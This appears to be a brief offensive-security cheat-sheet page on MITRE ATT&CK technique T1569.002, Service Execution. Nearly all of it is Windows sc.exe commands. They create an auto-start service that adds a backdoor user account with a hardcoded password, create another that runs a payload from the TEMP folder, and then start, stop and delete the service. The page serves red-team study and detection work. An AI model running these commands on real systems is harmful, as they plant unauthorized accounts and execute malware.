Services
MITRE ATT&CK™ System Services - Service Execution - Technique T1569.002
Theory
Practice
#Create a service
sc.exe create MyService binPath= "net user munra Pass123 /add" start= auto
sc.exe create MyService binPath= "C:\Windows\TEMP\payload.exe" start= auto
#Start a service
sc.exe start MyService
#Stop and delete a remote service
sc.exe stop MyService
sc.exe delete MyServiceLast updated